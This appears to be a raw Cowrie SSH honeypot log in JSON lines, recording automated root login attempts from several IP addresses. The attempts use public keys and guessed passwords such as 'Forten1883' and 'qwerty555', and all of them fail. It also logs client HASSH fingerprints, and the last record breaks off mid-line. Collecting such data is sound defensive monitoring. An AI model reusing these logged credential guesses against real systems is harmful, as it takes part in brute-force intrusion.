{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:18:e9:9c:34:7c:41:a6:cb:a0:bb:bd:83:da:e9:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBB7M4GTq/sVY7pctQWj8VQqazrfjhHX0KqOdsudiPKx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d6:18:e9:9c:34:7c:41:a6:cb:a0:bb:bd:83:da:e9:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.540029Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:18:e9:9c:34:7c:41:a6:cb:a0:bb:bd:83:da:e9:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBB7M4GTq/sVY7pctQWj8VQqazrfjhHX0KqOdsudiPKx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.544046Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:f5:b2:d7:ab:2c:45:10:c7:1b:6f:36:2c:3a:1c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbYb4SXf0TQoA2m6awSERzhlvjukB1cdPzdQnm0V+Xehivlsuj/LyC1+U9WmYVnEvzu+jcHYvAfYrj1IypDYCgbOBu5lvGi13Y03IrnOBBhCARWSr6NJIAgw+XRaYxf0gmcu8vsdHnwCFuevoZYPM78lZc1GrRGDTwKIxWHfcKuIgSwIKUFdsit38IUyS7X0BJudjZgqAg1VnTphEtlEA/nf6o0ELoQ4/t3QGZKmEigQpReYteGWjhISc5x7EuLpTjmd1rcpC+oZKQYnUxPs22rHnrctKvZ9JBUkPgYhUwcKzC+4H2grWtX20ZwcY15Uh9iAXwYB3KkDJIYyhqvc4BB6RHHNoqXMq0EgJdg2QhnCX7bay5yrcxzSPfgckqJq6bVyP34n/Akq48hVHAluU0oso8pnOiaqRLCpL6IweVn3MGMNXsk4qMxqjPoZsfViR/+08CKk4v8xZnsGkRnIWSGhzW9fMBqAFKDsgd8xqrgKod6qPGKbusZlWxnlUrY8B8L6zMqux7H1fuw890QhIfkhu6LG8k5cfBPppM4PHn674Tio+1ctCa1H7VqYXnZoEsUGUrnV9lNKp4UzckGLxVWhc/YRjC7PXi2/KZ3EMhLwedgZz2cX8wYhP+dp4dpO1WVo5D98j+S0OanpdcmFHZBXBGT0K9e+pS7suroDOlMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:f5:b2:d7:ab:2c:45:10:c7:1b:6f:36:2c:3a:1c:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.613780Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:f5:b2:d7:ab:2c:45:10:c7:1b:6f:36:2c:3a:1c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbYb4SXf0TQoA2m6awSERzhlvjukB1cdPzdQnm0V+Xehivlsuj/LyC1+U9WmYVnEvzu+jcHYvAfYrj1IypDYCgbOBu5lvGi13Y03IrnOBBhCARWSr6NJIAgw+XRaYxf0gmcu8vsdHnwCFuevoZYPM78lZc1GrRGDTwKIxWHfcKuIgSwIKUFdsit38IUyS7X0BJudjZgqAg1VnTphEtlEA/nf6o0ELoQ4/t3QGZKmEigQpReYteGWjhISc5x7EuLpTjmd1rcpC+oZKQYnUxPs22rHnrctKvZ9JBUkPgYhUwcKzC+4H2grWtX20ZwcY15Uh9iAXwYB3KkDJIYyhqvc4BB6RHHNoqXMq0EgJdg2QhnCX7bay5yrcxzSPfgckqJq6bVyP34n/Akq48hVHAluU0oso8pnOiaqRLCpL6IweVn3MGMNXsk4qMxqjPoZsfViR/+08CKk4v8xZnsGkRnIWSGhzW9fMBqAFKDsgd8xqrgKod6qPGKbusZlWxnlUrY8B8L6zMqux7H1fuw890QhIfkhu6LG8k5cfBPppM4PHn674Tio+1ctCa1H7VqYXnZoEsUGUrnV9lNKp4UzckGLxVWhc/YRjC7PXi2/KZ3EMhLwedgZz2cX8wYhP+dp4dpO1WVo5D98j+S0OanpdcmFHZBXBGT0K9e+pS7suroDOlMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.617266Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.684989Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":48474,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1f08edcf41","protocol":"ssh","message":"New connection: 89.108.118.91:48474 (10.17.0.5:22) [session: fc1f08edcf41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:38:07.319884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:38:07.325275Z","src_ip":"89.108.118.91","session":"fc1f08edcf41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:38:07.464311Z","src_ip":"89.108.118.91","session":"fc1f08edcf41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:38:07.874880Z","src_ip":"89.108.118.91","session":"fc1f08edcf41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:38:09.012869Z","src_ip":"89.108.118.91","session":"fc1f08edcf41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.45","src_port":35198,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e2522c3079","protocol":"ssh","message":"New connection: 216.59.16.45:35198 (10.17.0.5:22) [session: 50e2522c3079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.025986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.031811Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.057405Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:ab:53:45:b2:a0:72:0f:f5:a2:e2:42:79:25:de:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw+N6ztFoSz44oT6xeDQYfOTILnzzUPalUgLl9Bsi2H7MxvCJLKOSGhKbnw1iOrC0YE9hDWRGeseF83YKu6/ni5X/t4OdrTRtVZ8N63avNPaQbaoz9zWAejHq/ygfmRlxyQy+x5zVedFGv6IfuHEpJpHJC1Wk7HWm3l9SXjcCodTJ9lx26td9aZQZiXyt9oRdz787W3I0Yixrj+/3e+AZAupc5FzXKM3ZrH+O8Xjusf8Nvv+Ny88uooO0PrF+4Crk0dA35EUSNIdcV3nZkxkcH9la6S7Ll96/jW5ZvQx0DfyI7jksU3M+qULcqc14DtJXOc/oYK6AV1wLTzkuPr1OZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:ab:53:45:b2:a0:72:0f:f5:a2:e2:42:79:25:de:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.164455Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:ab:53:45:b2:a0:72:0f:f5:a2:e2:42:79:25:de:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw+N6ztFoSz44oT6xeDQYfOTILnzzUPalUgLl9Bsi2H7MxvCJLKOSGhKbnw1iOrC0YE9hDWRGeseF83YKu6/ni5X/t4OdrTRtVZ8N63avNPaQbaoz9zWAejHq/ygfmRlxyQy+x5zVedFGv6IfuHEpJpHJC1Wk7HWm3l9SXjcCodTJ9lx26td9aZQZiXyt9oRdz787W3I0Yixrj+/3e+AZAupc5FzXKM3ZrH+O8Xjusf8Nvv+Ny88uooO0PrF+4Crk0dA35EUSNIdcV3nZkxkcH9la6S7Ll96/jW5ZvQx0DfyI7jksU3M+qULcqc14DtJXOc/oYK6AV1wLTzkuPr1OZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.177741Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:0c:12:ae:b9:67:45:c8:b9:77:5a:52:c6:22:35:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaFzIcM2IJhr7oivtbOWhGi6KpyZyQaI1tHR2iq/z4yX3f1AVjKSR9LR7lZArA8b60DDXBBtUqOVaMJgzizLKbgGeUpNJPAZpY3oJgFu3H5i/fpLtilTh0o1QgnzZiNxH5ObSr9lOzDP0vA7R7IuxAJ3ExFjb0rZhSvMMsRfxVq44+81bFl7ADs+LU5ld933aBFUF843cf+a0lqYEILRqzsqyaBWEtysKsMf/JcIA8r5ftupNu+JYaDQfNJHQapG8wl/Vk0hMOrAp6BU2Mu2q8SeYeqyPTHrYAgKXCMNk0tlEXZS9Ri1DpR/w4PHYo8pk5rc9vRIAYYphk7f4d4P7p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:0c:12:ae:b9:67:45:c8:b9:77:5a:52:c6:22:35:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.205785Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:0c:12:ae:b9:67:45:c8:b9:77:5a:52:c6:22:35:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaFzIcM2IJhr7oivtbOWhGi6KpyZyQaI1tHR2iq/z4yX3f1AVjKSR9LR7lZArA8b60DDXBBtUqOVaMJgzizLKbgGeUpNJPAZpY3oJgFu3H5i/fpLtilTh0o1QgnzZiNxH5ObSr9lOzDP0vA7R7IuxAJ3ExFjb0rZhSvMMsRfxVq44+81bFl7ADs+LU5ld933aBFUF843cf+a0lqYEILRqzsqyaBWEtysKsMf/JcIA8r5ftupNu+JYaDQfNJHQapG8wl/Vk0hMOrAp6BU2Mu2q8SeYeqyPTHrYAgKXCMNk0tlEXZS9Ri1DpR/w4PHYo8pk5rc9vRIAYYphk7f4d4P7p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.210783Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:46:b2:d2:2f:84:fc:bf:18:05:3c:c5:2f:73:3f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DDc5TpUugXnb81Uqx9IUi/HnoC8LcRuvI70X5ZoecwO0aci9AZ33eBC8gKWAdKoN8f5e5NHc9YS3npkkw/xTWikPamDezRKq9P7rgpga34DUPisJaVvQp6/79ksJDc4uADVXjXIBDvTWtJz9VnPXV3p9KBHYv7f/+AoVY8RUPU+X0w+0XHBpB76Q9/omzCGseQ8JfNJicfuKXrKOWt79+YJgouSsPfUq8HDwBMgYjlo1/pNV4ZNCsqZptdHGHuFy4JFZRVBCK/VzAkpn6GodFvYdL27q62cyH+D0uFLzOXOHjBEGKKP4Ti0U++ztXb2q/zlS3dfPgHPagn2ES49SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:46:b2:d2:2f:84:fc:bf:18:05:3c:c5:2f:73:3f:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.238699Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:46:b2:d2:2f:84:fc:bf:18:05:3c:c5:2f:73:3f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DDc5TpUugXnb81Uqx9IUi/HnoC8LcRuvI70X5ZoecwO0aci9AZ33eBC8gKWAdKoN8f5e5NHc9YS3npkkw/xTWikPamDezRKq9P7rgpga34DUPisJaVvQp6/79ksJDc4uADVXjXIBDvTWtJz9VnPXV3p9KBHYv7f/+AoVY8RUPU+X0w+0XHBpB76Q9/omzCGseQ8JfNJicfuKXrKOWt79+YJgouSsPfUq8HDwBMgYjlo1/pNV4ZNCsqZptdHGHuFy4JFZRVBCK/VzAkpn6GodFvYdL27q62cyH+D0uFLzOXOHjBEGKKP4Ti0U++ztXb2q/zlS3dfPgHPagn2ES49SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.243814Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:af:8b:58:3b:5c:eb:bd:79:bf:1a:85:7c:e7:df:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4WTNw7WfBV0+Vyldct7So9FWKc3tCN/wIO8QPZ+bgMEL7xm8NTk4WOOhwarhQClWpTlxnbCOTfe5AUSzLGxnppOEZ1IEhUBqA9io8sPznU+gzOWQvAMjqsPduN+FcYYTV2K4szgttsNf6uVQgnryf9nupugdDA3Sby5Vhzy/FfSV09MxC6tDU+3Is19HKGhmr9M2Z/+NPFEnAWF0WBLnQHXO/1zI56ZdZvBNslJ6WyPPT5elTmnuDrPu9AdMle2dEoooxi8m+sONaA97x80wWnHb9sBOuB4AF9Trl5ZLU6F1tsJi5zsYGU2BepN0fwlAbR7JjG/T+f/gz5ceTcwDgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:af:8b:58:3b:5c:eb:bd:79:bf:1a:85:7c:e7:df:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.270873Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:af:8b:58:3b:5c:eb:bd:79:bf:1a:85:7c:e7:df:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4WTNw7WfBV0+Vyldct7So9FWKc3tCN/wIO8QPZ+bgMEL7xm8NTk4WOOhwarhQClWpTlxnbCOTfe5AUSzLGxnppOEZ1IEhUBqA9io8sPznU+gzOWQvAMjqsPduN+FcYYTV2K4szgttsNf6uVQgnryf9nupugdDA3Sby5Vhzy/FfSV09MxC6tDU+3Is19HKGhmr9M2Z/+NPFEnAWF0WBLnQHXO/1zI56ZdZvBNslJ6WyPPT5elTmnuDrPu9AdMle2dEoooxi8m+sONaA97x80wWnHb9sBOuB4AF9Trl5ZLU6F1tsJi5zsYGU2BepN0fwlAbR7JjG/T+f/gz5ceTcwDgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.275657Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:e9:05:8b:b0:c1:79:34:20:bc:5f:9e:64:8e:db:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDosslYNHfkTi1Zlw/Z2XLB7kTcwV2i2dy+0WAlrrEGn1yoACSduECXE6r0AmH5rdzKv4r2vN5Lyo2HZo0wYIXafvgpP4VKVuss8Maz/z5nLR/OIh7hxaQS+oHhQh+P8AoycnCVBIZAZDeGgxj0dValRlLPLXLJVpeoi10Vcidny+guh0/1uEdaN/C9DcRfwQXgfo8mLnSCedhC0/kDUEHly+hfB+FvzMya6TgYGf+pK42hXiJC694FZDPLMaAQTIP80O+2FujxnIF/6XmAwsA7wB9XbgOJWXLY6d04bfypVqhUF5WAPkU21Q/L/8BvzGWKah6bOvgp+KvDVONCW79N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:e9:05:8b:b0:c1:79:34:20:bc:5f:9e:64:8e:db:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.310638Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:e9:05:8b:b0:c1:79:34:20:bc:5f:9e:64:8e:db:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDosslYNHfkTi1Zlw/Z2XLB7kTcwV2i2dy+0WAlrrEGn1yoACSduECXE6r0AmH5rdzKv4r2vN5Lyo2HZo0wYIXafvgpP4VKVuss8Maz/z5nLR/OIh7hxaQS+oHhQh+P8AoycnCVBIZAZDeGgxj0dValRlLPLXLJVpeoi10Vcidny+guh0/1uEdaN/C9DcRfwQXgfo8mLnSCedhC0/kDUEHly+hfB+FvzMya6TgYGf+pK42hXiJC694FZDPLMaAQTIP80O+2FujxnIF/6XmAwsA7wB9XbgOJWXLY6d04bfypVqhUF5WAPkU21Q/L/8BvzGWKah6bOvgp+KvDVONCW79N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.316849Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:06.357659Z","src_ip":"216.59.16.45","session":"50e2522c3079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48730,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b86749411f","protocol":"ssh","message":"New connection: 193.37.70.224:48730 (159.203.135.109:22) [session: e8b86749411f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:08.904456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:08.910577Z","src_ip":"193.37.70.224","session":"e8b86749411f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:09.009700Z","src_ip":"193.37.70.224","session":"e8b86749411f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty555","message":"login attempt [root/qwerty555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:09.284569Z","src_ip":"193.37.70.224","session":"e8b86749411f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:10.377699Z","src_ip":"193.37.70.224","session":"e8b86749411f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51802,"dst_ip":"10.17.0.5","dst_port":22,"session":"8121abfd220a","protocol":"ssh","message":"New connection: 103.149.28.157:51802 (10.17.0.5:22) [session: 8121abfd220a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:12.909506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:39:12.916002Z","src_ip":"103.149.28.157","session":"8121abfd220a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v